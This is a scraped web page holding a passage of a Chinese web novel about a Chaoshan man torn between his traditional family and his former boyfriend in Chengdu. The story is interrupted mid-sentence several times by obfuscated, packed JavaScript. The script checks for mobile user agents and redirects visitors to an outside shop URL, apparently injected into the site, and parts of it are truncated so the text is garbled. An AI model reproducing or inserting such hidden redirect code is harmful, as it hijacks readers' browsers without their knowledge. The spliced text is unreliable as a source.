d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005904|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 键上,半天按不下去。 门外传来脚步声,妈妈敲了敲门:“阿和,林叔说下周带女儿去南澳岛玩,你也一起去吧?” 他猛地锁屏,心跳得厉害,像做贼被抓了个正着。 “……好。”他听见自己说。 等爸妈都睡了,他偷偷把照片拷进U盘,塞进书柜最底下那本《潮州府志》里。 然后他打开电脑,在搜索框里打字:【怎么才能永远忘记一些事】 回车键按下去的瞬间,窗外突然传来轮船的汽笛声。 南澳岛的渡轮又要开了,他想。 …… 冬天来得毫无预兆。广东从不下雪,但湿冷的空气像浸了水的棉被压在胸口,想一脚踢开,又怕冷,只能硬生生受着。 冬至那天,祠堂里里外外都挤满了人。连在马来西亚、新加坡的几个堂叔,都拖家带口地赶回来过节。 檀香掺着纸钱烧出来的烟,一圈圈绕着房梁打转。 陈声和跟着几个堂兄弟跪在颜色都褪了的蒲团上,听他爸用潮汕话,一个字一个字地念族谱上的名字。 等祭完祖,天都黑透了。 妈妈端来一碗热甜汤圆,白瓷碗边还沾着一点香灰。 他没什么表情,听着大家聊家长里短,舀起一颗送进嘴里,芝麻馅一下就流了出来。那甜腻劲儿刚漫到喉咙口,胃里就猛地一抽。 他冲进厕所,跪在马桶前吐到眼睛都红了。 一抬头,看见镜子里那个人,嘴角黏着糖渍,眼圈发青,像被人揍过两拳,整张脸瘦得脱了形,简直像一副骨头架子勉强撑着一张皮。 他顺着墙滑坐到地上,额头抵着冰凉的瓷砖,终于一点声音都没有地哭了出来。 李霄川,我好想你啊。 可我回不去了……真的回不去了。 …… 三月的回南天,空气潮得能一把拧出水。 陈声和默默跟在妈妈身后走过骑楼底下,听她一路念叨林家女儿在深圳事业多成功,多争气。 走到巷口,有家新开的川菜馆正在熬火锅底料,花椒在热油里爆开的动静,跟李霄川在他们那小破厨房里炒菜时一样。 “咳咳!”一股辣味猛地冲进喉咙,他一下子弯下腰干呕起来,冷汗哗地冒出来,衬衫后背全湿了。 “阿和?”母亲回过头,看见他正扶着斑驳的墙面干呕,手指在砖上擦得通红,还渗了血丝。 “这什么味儿啊,熏死个人!”妈妈一边皱眉一边拍他的背,“我早说了,这些外地人搞的饮食不干净……” 他喘着粗气,勉强站直身子。眼前却晃过李霄川系着围裙、在灶台前转过身来的样子。 那人总爱捏着几颗花椒逗他:“广东仔,敢不敢试一颗?保证让你舌头跳霹雳!” 现在倒好,他连闻到这味道都会反胃。 可最讽刺的是,他居然有点想念那种烧喉咙的感觉,就像想念那个人留在他舌尖上的温度一样。 连着吐了两个月,母亲实在看不下去,硬拉着他去了老城区一家中医馆。诊室里飘着淡淡的艾草味,老中医的手指布满老年斑,轻轻搭在他手腕上。 “脉有点弦,有点细,舌苔偏白。”老先生收回手,看着他,“后生仔,晚上是不是总睡不好?” 母亲急切地插话:“他饭也吃不下,瘦了十几斤!” 陈声和没吭声,只盯着诊桌边上一条深深的划痕,忽然想起在成都时,小区旁边那家诊所,有个阿姨总会给他们熬川味凉茶喝。 64.妈,我喜欢男的 有次他发烧,李霄川连夜背他去打针,路上一直哼着荒腔走板的粤语歌哄他,本来烧迷糊了,硬是被笑清醒了。 “忧思伤脾,肝气郁结。”老中医提笔写药方,“后生仔,心有千千结,要说出来啊。” 母亲付钱时,他瞥见药方最下面一行小字:忌情绪大悲大喜。 可他所有的大悲大喜,早就跟着那个人,一起留在成都了。 晚上回到家,他还是什么都吃不下。饭菜的味道一飘过来,胃里就翻江倒海,只能冲进卫生间干呕。 爸妈看他的眼神里,担忧中带着探究,他感觉他们大概猜到了点什么。 可他真的太累了,累到连开口解释的力气都没有,只想一个人缩着,不被任何人打扰。 深夜的卧室,安静得像一个密不透风的茧,把他紧紧包裹在里面。 他蜷在床角,手机屏幕冰冷的光打在他消瘦的脸上,颧骨显得愈发突出。 就在这时,屏幕顶端突然弹出一条提醒:特别关注的 @川流不息官方微博更新了一组演出照。 照片里,李霄川勾着武生脸谱,一身红衣鲜艳夺目,手指夹着的铜钱镖寒光凛冽。 配文写着:【《白蛇传》新编,许仙改武生演法】 他放大照片,看见李霄川左手小指上还戴着那枚素银戒,内圈上刻着他名字缩写。 原来……他没扔。 这个发现让心口猛地一抽。手指在屏幕上悬停了好久,理智告诉他别存,可最终,手指还是不受控制地落了下去,按下了保存键。 刚退出相册,一个提示框猝不及防地跳了出来,蓝底白字,扎得他眼睛生疼:【今日是“成都记忆”相册创建三周年】 心跳骤然失序。 他像是被什么牵引着,手指不由自主地切到了购票软件,机械地输入“成都-潮汕”,页面跳转,特价机票的信息在眼前滑动,他的手指就在那“立即购买”的按钮上方徘徊。 直到付款界面弹出,锁屏上清晰的日期猛地刺入眼帘,快到清明了…… 这个念头像一盆冰水,对着他当头淋下,瞬间浇灭了所有不切实际的冲动。 十分钟后,他默默退出了APP。 购物车再次被清空,和去年、和前年一样,只剩下一条系统自动发来的短信,冷冰冰地躺在收件箱里: 【您尚未完成支付】 …… 清明这天的祠堂,比冬至还要闷,闷得人胸口发沉。 陈声和跪在褪了色的旧蒲团上,听见父亲以及家族长辈的皮鞋碾过青砖的声响停在身后。 今年轮到他点香。三炷檀香被递过来,父亲粗糙的拇指在他虎口上重重一按。这是小时候教他握笔的习惯动作,他懂,是叫他稳着点,别出错。 “一炷敬天地。” 香头在烛焰里爆出细小的火星,他俯身时听见自己颈椎发出轻响。青烟笔直地上升,在梁柱间散成淡蓝色的雾。 “二炷敬祖宗。” 第二炷香稳稳立住,檀香的气息弥漫开来,就像是枷锁,实实在在压上他的肩。 该第三炷了。 他手刚抬起,食指猛地一疼,低头一看,不知什么时候,被香灰烫了个水泡。 疼痛让他一下子走神,想起大三那年,和李霄川挤在成都文殊院的偏殿。那人非要把三炷香插得歪七扭八,排成一个“川”字。 “管他呢,反正神仙认得我的字!”李霄川当时笑嘻嘻的说完,就被住持追着打了半个院子。 潮汕人拜神,最虔诚的时候,第三炷香敬什么? 那时候李霄川盘腿坐在他们公寓的床上,捏着嗓子,怪里怪气地学他说话:“你们潮汕人拜神哦,最虔诚的时候,到底许什么愿呀?” 他当时一下就笑了,伸手去戳那人的锁骨:“一炷敬天地,一炷敬祖宗,第三炷嘛……敬人吧。” “敬人?” 李霄川挑眉,笑着抓住他手指,凑过来,一个吻烫在他手指。 他记得自己当时认真回答:“第三炷……敬本心。” 还有一句没出口的是:而我的本心,是你。 李霄川当时还追问:“那要是本心和祖宗冲突了,怎么办?” 他没答上来。 现在,他站在自家祠堂里,香火缭绕,答案却忽然清晰起来。 ——如果本心和祖宗冲突,十个潮汕人里,有九个会选祖宗。 那自己呢? “敬神……”父亲低沉的声音突然在耳边响起,他猛地回神,才发现自己的手悬在香炉上,停了太久。 檀香味一下子冲鼻,浓得发呛,像无数只看不见的手,从祖宗牌位后面伸出来,要把他拽回那条走了千百年的老路。 他垂下眼,终于把第三炷香往炉中插去。 手指刚离开香炉,那柱香却突然折断。 “…………” 断掉的那截香落在铜香炉边,祠堂里静得可怕。族长沉着脸,目光钉在他身上。 无人说话,但那种沉默比任何指责都更让人窒息。 父亲闭上眼,动作慢得像合上一本千斤重的族谱。 “跪着。”那两个字像是从牙缝里磨出来的,带着涩意,“等香烧完。” 偏厅的青砖返潮,寒气很快渗进膝盖里,两条腿渐渐没了知觉。 几只蚂蚁沿着砖缝忙忙碌碌,搬着不知哪来的糕点屑。它们不用想第三炷香该敬给谁,它们有既定的路,就够了。 月光从雕花木窗的缝隙里漏进来,在青砖地上投下细碎的光斑,晃晃悠悠的。 陈声和盯着那点晃动的亮,看着看着,眼前模糊起来,仿佛又回到了成都那个夏夜,和李霄川并排躺在凉席上,电扇吱呀呀地转…… 记忆中锦里的灯火总是亮得晃眼。李霄川拽着他的手腕挤过人群,汗湿的掌心贴着他的脉搏。 糖画摊前暖黄的灯泡底下,那人侧脸轮廓被镀了层毛茸茸的光,正嬉皮笑脸跟老板磨:“老师,两个糖画十五块嘛!我们学生娃儿,穷得很嘞……” 最后塞到他手里的兔子糖画,耳朵歪了一只。糖丝在夏夜里拉得老长,亮晶晶的。 “像你不?”李霄川呲着虎牙笑,“看着乖,其实倔得要命。” 周围人挤人,可没谁多看他们一眼,没人在意两个男孩的肩膀为什么贴在一起。 那时候,没人管他们牵不牵手,也没人会为了一炷断掉的香,罚他跪一整夜。 成都的烟火气,潮汕的香火气。 一个自由得让他羡慕,一个沉重得让他窒息。 祠堂外竹叶沙沙响,他下意识去摸口袋里的手机。 屏幕亮起的瞬间,“省非遗中心”几个字跳进眼里,邮件通知:《潮汕英歌舞》纪录片立项通过。 指头悬在回复键上,抖了抖。 他忽然有点走神,心想,要是李霄川在这儿,会怎么回这封正经八百的邮件? 就这一下,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005905|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特别想听听那人的声音。 哪怕一句。 哪怕……只是喘口气儿也好。 他点开通讯录,手指在那个名字上悬了半天,最后心一横,按了下去。 嘟…… 嘟…… 第三声还没响,他猛地按掉。 四周暗下去,手机屏幕的光渐渐熄了,照出他自己发白的脸。 祠堂外头,守夜人的咳嗽掺着英歌舞排练的鼓点,咚咚咚,敲得他太阳穴直跳。 他慢慢蜷起手指,指甲陷入掌心的疼痛让他终于确认,自己终究还是那个……连一通电话都不敢听完的胆小鬼。 …… 日复一日,年复一年,转眼一年又过去了。 老家这地方,一年到头总是湿漉漉的。空气里飘着海腥味,掺着祠堂里的香火气,黏在皮肤上,怎么擦都擦不干。 陈声和从小闻惯了的味道,现在却让他喉咙发苦,心里发闷。 他跪在老房子的檀木地板上收拾从英国带回来的行李。天气一返潮,木头缝里就渗出水珠,膝盖早就跪麻了,那寒意顺着骨头缝往身上钻。 马上又要过年了。他都没想过,自己居然就这么熬过来了。 手指摸到那张拍立得,颜色有点褪了,但李霄川的笑容还是那么清楚。 照片里他站在都江堰的鱼嘴上,身后是翻着白沫的岷江水。风把他的刘海吹得乱七八糟,他半侧着身子看镜头,眼角的笑纹里像是盛满了下午的阳光。 那是陈声和最熟悉的笑容,也是只对他一个人绽放的明亮。 照片边边上,有一圈细细的牙印。 那时候李霄川把这张照片塞进他大衣口袋,他想都没想,低头就咬了一口。 “属狗的啊你?”李霄川捏他后脖颈,拇指蹭过他咬照片时露出来的虎牙。 “做个记号嘛。”他含含糊糊地说,牙齿在相纸上碾出细小的褶皱,“这样就算以后弄丢了……” 后半句话他没说完,现在也不用说了。牙印还在,人却已经隔着两千多公里,远得够不着。 衣柜里的防尘袋沙沙响,他机械地扯开那件羊绒大衣。一片枯黄的银杏叶打着转飘下来,叶子上全是褐色的斑点,边边都卷起来了,像烧焦的纸钱。 “你们潮汕少见银杏吧?”李霄川当时这么说,“以后你看到银杏,就会想起……” 话没说完。叶子在他手指底下突然碎了,碎末从指缝里簌簌地往下掉。他盯着手心里那点残骸,听见自己牙齿打架的轻微声响。 “阿和?” 阿妈的声音卡在门缝里。 他没抬头,但能感觉到她的视线死死钉在他手心上,照片上李霄川的脸,指缝里的碎叶子,还有这一年来所有溃烂的、藏不住的伤疤。 “这是……”阿妈的目光在照片上挪不开了,声音比祠堂里的蜘蛛网还要轻。 窗外英歌舞的鼓点突然炸响,咚!咚!咚!每一声都像直接夯进他胸口,在锣鼓的金属颤音里,他第一次用潮汕话说:“阿妈,瓦欢男个。” 空气一下子凝固了,像祠堂房梁上积了多年的灰,只要不动就永远落在那儿。 阿妈扶着门框的手背上青筋暴起,指甲盖泛出死白。整整半分钟,她张了张嘴,却什么声音都没发出来,最后默默地关上门,老木门轴发出垂死的吱呀声。 五分钟后,阿爸的心电监护仪在巷子里拉出刺耳的警报,一声接一声,撕破了年关前短暂的宁静。 65.整整五年,再也没见 走廊尽头的时钟显示凌晨三点一刻,秒针每走一格,都像在人的神经上刮一道。 陈声和靠在消毒水呛人的墙边,耳朵里一会儿是医生急促的指令,一会儿是心电监护仪单调的滴滴声,搅得他太阳穴直跳。 母亲蜷在蓝色塑料椅上,两只手紧紧攥着,手背上青筋都暴起来,指甲在掌心掐出一个个弯月形的红印子。 她还穿着昨晚那身家居服,右肩上沾着半片茶渍,是阿爸发病时打翻茶杯溅上的。 “他是谁?”母亲胸口起伏得厉害,吸气的声音像在喉咙里打了结,“是不是你大学时那个成都同学?那个……唱戏的?” 陈声和只觉得一盆冰水顺着脊梁骨浇下来,整个人都僵了。 母亲大二暑假去过一趟成都,也曾翻他手机相册时多看了几眼,现在想来,不是随便看看。 原来每次视频,她总是绕着弯子问“有没有交朋友”,却从来不直接问“有没有交女朋友”,这些都不是偶然。 他的喉咙像被什么堵住了,张了张嘴,却发不出一点声音。 “啪!” 一记耳光带着风声扇过来的时候,陈声和闻到了母亲手上万金油那清凉的味道。血腥味在嘴里漫开,他感觉两颗后槽牙已经松了。 走廊转角有个护士探头看了一眼,又赶紧缩了回去。 “你要逼死你爸吗?!”母亲的声音嘶哑得像破锣,里面全是绝望,“你是陈家独子啊!你要让整个潮汕看我们笑话吗?!” 陈声和用舌尖顶了顶发麻的脸颊,声音轻得几乎听不见:“妈,我试过了……”墙上消防栓的玻璃映出他狼狈的样子,“我真的试过了。” 他试过忘记,试过妥协,试过像所有人期望的那样,找个姑娘结婚生子,过正常人的生活…… 可是没有用。 每一次呼吸,每一次心跳,都在清清楚楚地告诉他…… 他爱李霄川。 他这辈子,可能就只会爱这一个人了。 …… 一直熬到第二天上午快九点半,主治医生总算摘下了口罩。 说阿爸的情况暂时稳住了,但还得继续观察。 陈声和坐在病床边上,盯着监测仪上那条一跳一跳的绿线。阿爸脸色灰白,呼吸又重又沉,胸口一起一伏的,像个破风箱。 “阿和……”父亲突然出声,干裂的嘴唇翕动着。 陈声和立刻弯腰凑近,闻到老人身上混杂着药味的衰败气息。 “……听话,”阿爸喘着气,断断续续地说,“要……订婚……” 陈声和猛地攥紧了床单,布料在他手心里被捏得咯吱响。 他看见阿爸手背上密密麻麻的针眼,突然想起大三那年,李霄川在练功房被木枪划伤手臂,缝的针也是这样密、这样多。 “阿爸,”他喉咙发紧,声音是哑的,“我唔能够。” 这句话像是从肺里硬挤出来的。监测仪立刻尖叫起来,护士们冲进来,把他推了出去。 在一片混乱的急救声里,他背靠着墙,慢慢地、一点一点地滑坐在地上。口袋里那张拍立得的边角,带着齿痕,正硌着他的大腿。 照片上还留着他们当年幼稚的咬痕约定。可现在,那些凹凸不平的痕迹,只让他想起潮汕祠堂里,那些被香火熏得发黑的契约木牌。 他曾经真以为,咬下了那个记号,李霄川就永远不会走。 可现在才明白,被死死锁住的,只有他自己。 等到阿爸终于又睡着,窗外的天已经彻底亮了。 大伯让他先回去歇歇。陈声和像个空壳子一样走出医院大门,被猛然照下来的阳光刺得睁不开眼。 远处码头传来呜呜的汽笛声,潮湿的海风裹着浓浓的鱼腥味迎面涌来。 他摸出手机,点开那个一年都没拨过的号码。 “您拨打的电话是空号……” 听筒里,机械的女声用标准的普通话,轻飘飘地宣判了结果。 李霄川连号码都换了。 原来他们之间,连这种微不足道的联系,也都默契地、同时掐断了。 他就这么在原地站了不知多久,才机械地挪动脚步。 海水在不远处一遍遍冲刷着防波堤,浪花把沙滩上的碎贝壳推上来,又无情地卷走。 陈声和摸出那张拍立得,照片边角已经磨得起毛了。脑海里响起李霄川说过的一句话:成都的府南河,永远不会倒流。 …… 成都的一月,空气里已经带上了那种钻进骨头缝的冷。 张远缩了缩脖子,“嘶”了一声,赶紧把卫衣帽子扣上。他盯着大学后门那个熟悉的蛋烘糕摊,有点出神。一阵风卷着几片落叶,擦过他的球鞋。 老王头那辆手推车还是老样子,铁皮炉子烧得通红,木招牌上“王记蛋烘糕”几个字,早就被油烟熏得黑黢黢的,边角还磕掉了一块。 排队的学生换了一批又一批,嘻嘻哈哈的声音在傍晚里显得特别清楚。 但有个身影,张远已经连续见了一周。每天傍晚六点一刻,分秒不差。 李霄川站在队伍最后面,187的个子在人群里特别显眼,像棵白杨树似的。他没穿戏服,就套了件黑色连帽衫,袖口都磨得起毛边了,左手腕上还系着戏曲社那条红色平安绳。 其实是陈声和特地从潮汕给他求来的。 “还是老样子?双份奶油肉松?”老王头没抬头,在面糊盆里搅得哗啦响,热气蒸腾间瞥了眼这个沉默的熟客。 李霄川嗯了一声,扫码付款。机器女声冷冰冰地报出“支付宝到账,八元”,这声音混在学生们的谈笑声中,非常突兀。 张远不自觉地攥紧了手里的牛皮纸信封,边角都被他摸得毛毛的了。 那里面是陈声和临走前托他转交的信。信封背面还沾着一点机场咖啡厅的焦糖渍,一直没擦掉。 可他试过好几次,都没送出去。 第一次,是李霄川在琴房砸东西的时候,木屑飞起来,还划破了他自己的手背;第二次,是他醉倒在戏曲社后台,妆都没卸,就抱着陈声和落下的那条围巾睡着了。 第三次……就是现在。他看着李霄川站在暮色里,一动不动,像一尊褪了色的雕像。 这又一年都快过去了,张远自己都要毕业了,这封信还是没送出去。 不远处,李霄川接过蛋烘糕,没吃,就那么看着。奶油慢慢化开,一滴一滴渗进包装纸里。 张远注意到他右手虎口上有道新伤,结痂的牙印深深陷在皮肉里,像是自己硬生生咬出来的。 “川哥。”张远犹豫了半天,还是走了过去,鞋尖一下一下碾着地上的梧桐叶,“戏曲社下周有迎新演出,社长问你能不能……” 李霄川把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005906|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛋烘糕直接塞到他手里,塑料包装袋“刺啦”一声响:“你吃。” 老王头在一旁插话,对着张远说:“这娃儿天天来,昨天那份放到奶油化了都没动。”他指了指旁边的垃圾桶,“可惜了,现做的才酥脆。” 李霄川转身走了,风把他卫衣帽子吹得鼓起来。他两手揣在兜里,那里面是一沓登机牌。 全是成都飞潮汕的,日期从陈声和走的那天开始排,一直排到现在,但没有一张是真正用过的。 他怕自己真去了,会控制不住把陈家祠堂的门槛踏平。那样的话,就真的会把那个广东仔伤透了。 张远盯着他落寂的背影,喉咙发紧。 信封在口袋里被汗浸湿了一角,他想起陈声和在机场安检口拽着他袖口说的话,指甲都快掐进他肉里。 “别给他看信,除非他过得很好。” 回到学校,张远在宿舍楼下的超市,用那个老式公共电话拨通了一个潮汕的号码。 听筒里的“嘟嘟”声响了半天,那边才接起来。陈声和的声音传过来,哑得不行,像刚哭过一场。 “……喂?” “信,我没给出去。”张远盯着玻璃上歪歪扭扭的水痕,低声说,“他瘦了好多,戏服穿在身上都晃荡,全是练功弄出来的伤。” 电话那头传来打火机的咔嚓声,接着是长久的沉默。 陈声和吸了一口烟,慢慢问:“……他吃蛋烘糕了吗?” “买了一个礼拜,一次都没吃。”张远嗓子发干,“就站后门那棵银杏树底下,盯着看,直到里头的奶油全化光。” 陈声和忽然低低笑起来,笑到后来直咳嗽,像被烟呛着了:“……傻子。” 也不知道是在说李霄川,还是说他自己。电话那头传来陶瓷轻轻碰撞的声响,像是茶杯被放回托盘。 其实一开始,张远也不理解陈声和怎么会跟李霄川在一起,甚至心里还有点别扭。 可后来接触多了,他才发现自己对李霄川偏见太大,慢慢也就改观了。 他和陈声和关系最铁,也是全宿舍唯一知道他俩在一起的人。 从陈声和走后,他眼睁睁看着李霄川一天天像丢了魂似的过日子。那种难受,外人根本没法体会。 但看着朋友这样,张远自己也跟着不好受。 到现在他是真明白了:感情这事儿,不分男女,处好了是一辈子的福气,处不好……就是一辈子的煎熬。 第二天上午,张远在戏剧社后台找到李霄川。他正一个人收拾戏服。衣箱敞着,飘出樟脑丸掺着胭脂水粉的味道。 张远等人都走光了,才磨磨蹭蹭走过去,把一瓶矿泉水放在化妆台边上。 “……川哥。”他喉咙发紧,手指抠着矿泉水瓶上的标签,“陈声和……让我带句话。” 李霄川没抬头,手里那件绣金蟒袍折到一半,指关节捏得发白。 “他说……别等他。” 衣箱“咔”一声合上了。 李霄川直起身,嘴角扯了一下,从鼻子里哼出一声短促的冷笑:“他倒是会给自己找台阶下。” 矿泉水瓶在妆台上凝出一圈水印,慢慢晕开。 成都双流机场每天都有飞往潮汕的航班,潮汕揭阳机场的大屏幕上,成都的航班信息也从来没消失过。 但从那之后,整整五年,他们俩再也没见过面。 66.因为我后悔了 十一月中旬的成都再次突袭了一场大雨,雨水连下两天两夜,老城区排水系统不堪重负,川剧院后巷的水积了半尺深,浑浊的污水裹着落叶涌进老楼。 陈声和站在剧团老楼的走廊里,望着窗外瓢泼的大雨,手指一下一下敲着摄像机的外壳。 林瑶站在他旁边,手里抱着一叠刚抢救出来的拍摄素材,小声抱怨:“这破楼怎么连个排水系统都没有?再泡下去,胶片全完了。” 他没应声,目光定在走廊尽头。 那扇漆皮剥落的木门半敞着,水已经漫过门槛,在地板上积了薄薄一层。练功房门牌上的字迹被潮气晕得模糊,但还认得出。 “导演?”林瑶顺着他的视线看过去,怀里抢救出来的胶片袋往下滑了滑,“……要帮忙吗?” 陈声和下颌线绷紧,摇了摇头:“你先去烘干素材吧。” 等林瑶走了,他又在原地站了一会儿,才慢慢挪过去推门。门轴锈得厉害,吱呀一声,听着牙酸。 房间里弥漫着潮湿的木头味,混杂着淡淡的胭脂香,李霄川的东西总是带着这种味道,哪怕五年过去,这栋老楼都腌入味了。 墙角那边,一个铁盒子半漂在水上,盖儿被冲开了一道缝,能看见里头露出点纸边。 陈声和弯下腰伸手去捞,冷水哗地一下就灌进了袖管,激得他手腕一阵刺痛。 他把盒子拿起来甩了甩水,才掀开盖。里面是两张机票。 成都——潮汕。 陈声和的手不听使唤地拿起来一看,日期是五年前,他们分手的那个礼拜。 那张票在他手里直颤。 纸已经模糊了,边儿都磨毛了,像是被人揉了又展、展了又揉。退改签那栏写着:“退票手续费80%”。 他翻到背面,上面有一行钢笔字,墨水被水晕开了一些,但还能认得出来: 【说好的,带我看英歌舞,骗子】 字迹是李霄川的,锋利又固执,像是刻上去的。 而让他一下子喘不过气的是,票面上有几块不规则的皱巴,像是被什么打湿过,干了之后留下的印子。 是眼泪……还是那时候成都的雨? 陈声和喉咙发哽,胸口像被人死死攥住,连喘气都带着抖。 窗外的雨越来越大,水珠子顺着破窗框往练功房里渗,在木地板上晕开一团团深色。 他突然想起那一天。 分手第一周,他坐在老家院子里,八仙桌上那泡工夫茶早就凉透了。 远处祠堂的诵经声掺着雨,湿漉漉地往耳朵里钻。他手里紧紧攥着李霄川最后塞给他的那张变脸脸谱,连油彩都被手心的汗给洇糊了。 而现在,这两张票就摊在他手里。 原来那个时候,李霄川是打算来找他的。 “导演?”林瑶的声音从门外传来,伴随着急促的脚步声,“张副导找你,说是要补拍几个镜头,今天这雨可以做素材,器材组已经在等了。” 陈声和猛地合上铁盒,声音在空荡的练功房里异常明晰。金属边缘划过虎口,他条件反射缩了下手。 “……知道了。” 他站起身,把盒子匆忙塞进自己的包里,帆布包被雨水打湿了一角,在他动作时发出细微的摩擦声。 练功镜里映出他仓促的身影,额发还沾着方才跑过走廊时溅上的雨水。 推开门的瞬间,走廊潮湿的空气呼啸而至,他差点撞上一个人。 李霄川站在走廊里,黑色T恤的肩膀处晕开一片水渍。他手里拎着一袋刚买的防水布,发梢还在滴水,显然刚从雨中跑回来。 两人四目相对时,一滴水正巧从他眉骨滑落,顺着鼻梁消失在唇边。 空气凝固了一瞬,练功房里的檀香味飘出来,掺着雨天的土腥气。 李霄川的目光落在他湿透的袖口上,皱了皱眉:“你进去干嘛?” “水淹进去了。”陈声和声音很低,不自觉地攥紧背包带子,“……有些东西可能会泡坏。” 李霄川“啧”了一声,防水布袋子发出哗啦的响声。他直接绕过陈声和进了练功房,运动鞋在地板上留下湿漉漉的脚印。 陈声和站在原地,听着里面传来翻动道具箱的声音,心跳几乎要撞出胸腔。雨点砸在走廊的玻璃窗上,仿佛无数细小的鼓点。 他会不会发现盒子不见了? 他会不会记得那两张机票? 不到一分钟,李霄川走了出来,脸色不太好看,他的指节上还沾着一点道具箱里的金粉。 “……看到我一个铁盒了吗?” 陈声和的手指掐进掌心,指甲陷进昨天刚剪短的肉里:“……什么铁盒?” 李霄川审视的目光掠过对方的眉眼,试图找出蛛丝马迹。走廊的天光在他眼窝投下阴影,让那道目光更显得咄咄逼人。 陈声和几乎要撑不住,喉结滚动了一下。 可就在这时,剧团财务大姐的声音从楼梯口传来:“小李!潮汕那边演出商的电话,说是要谈合作!” 她的大嗓门在雨声中更响。 李霄川的表情微微一滞。 陈声和猛地抬头:“……潮汕?” 财务大姐没察觉气氛的异样,还在絮絮叨叨:“是噻,就是你们那儿那个英歌舞巡演嘛,人家现在有兴趣了,问小李档期……” 李霄川打断她:“知道了,待会儿回。” 他的目光仍盯在陈声和脸上。 大姐走后,走廊里只剩下他们两个人。远处传来道具组搬运器材的碰撞声,掺着雨声敲打窗户的节奏。 李霄川沉默了很久,才开口:“你看到机票了,是不是?” 陈声和一僵,包里的铁盒突然变得千斤重。 李霄川笑了一声,笑意却没到眼底。他抬手把湿发往后捋了捋。 “对,我买了票。”他语气平静,像是在说别人的事,“分手那天晚上买的。” 陈声和的心脏狠狠一揪:“为什么……没来?” 李霄川看着他盯了会儿,忽然伸手,从陈声和的包里利落抽出了那个铁盒。 他打开它,手指捏着那两张机票,登机日期上的墨迹已经晕开:“因为我想通了。” “如果你真的想见我,那张脸谱……你早就翻过来了。” 陈声和站在原地,像是被钉住了。走廊的穿堂风掠过他湿透的衬衫,激起一阵战栗。 练功房里的檀香被风吹散,他突然想起那天潮汕老宅里,祠堂飘来的线香也是这个味道。 他以为那是李霄川的告别,可原来……那是最后的机会。 李霄川合上盒子,转身要走。防水布袋子擦过陈声和的手臂,发出簌簌的响声。 陈声和突然伸手,抓住了他的手腕。 “我当时……”他的声音哑得几乎要破碎了,“……我不敢。” 李霄川的腕骨在他掌心绷紧,却没有回头:“现在说这些,有意义吗?” 陈声和的手指不受控地发着抖,指节蹦的青白,却固执地不肯松开:“有。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005907|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他深深吸了一口气,潮湿的雨气掺着李霄川袖口残留的油彩味,想要把五年前的记忆硬生生剖开:“因为我后悔了。” 李霄川猛地抽回手,转身时眼眶红得骇人,像是台上唱到悲处的武生:“陈声和,我要的,从来就不是你的后悔。” 说完头也没回的走了。 …… 当晚,陈声和回到酒店时,林瑶正蹲在地上整理烘干的素材卡。 听见开门声,她抬头看了一眼,目光在他湿透的衬衫下摆停留了片刻,欲言又止。 “导演,您……”她犹豫着转动手里的笔,终于还是开口,“您每年九月都会改签一张去成都的机票,对吧?” 陈声和擦头发的动作一顿。 林瑶从文件夹里抽出一张对折的A4纸。这是今天整理东西时,意外看到的,上面是航空公司的改签记录,边角的字已经有些模糊了。 纸面上整齐排列着五条记录,每一条都标注着相同的日期: 9月15日 潮汕——成都 头等舱/已改签。 从未使用。 从未取消。 就像被按了暂停键的约定,固执地悬停在某个临界点。 “您每年都买,每年都不去……”林瑶的笔尖轻轻点在最后一条记录上,“为什么啊?” 陈声和望着窗外依旧滂沱的雨,霓虹灯在水洼里碎成一片猩红。他突然很轻地笑了一下,眼尾却不争气的红了。 “因为……”他的声音融进雨声里,生怕惊扰这会才看清的梦,“我也以为,他会等我。” …… 原本安排好的收尾拍摄因为雨水天气,只能延期。第二天清晨,天空依然阴郁,云层压得很低,随时准备要再哭一场。 雨后的空气中带着潮湿的凉意,陈声和正在低头检查着昨天被水泡过的拍摄素材。 “导演,大部分胶片能救,但特写估计得重拍。”林瑶递过来一杯热咖啡,手冻得通红。 陈声和刚点了点头,还没开口,身后就传来一阵马丁靴踩在石板上的声音,咔哒咔哒,越来越近。 “哟,这不陈大导演嘛?” 这声音……有点耳熟,但一时半会儿想不起来在哪儿听过。 陈声和一转身,差点把咖啡给掀了。 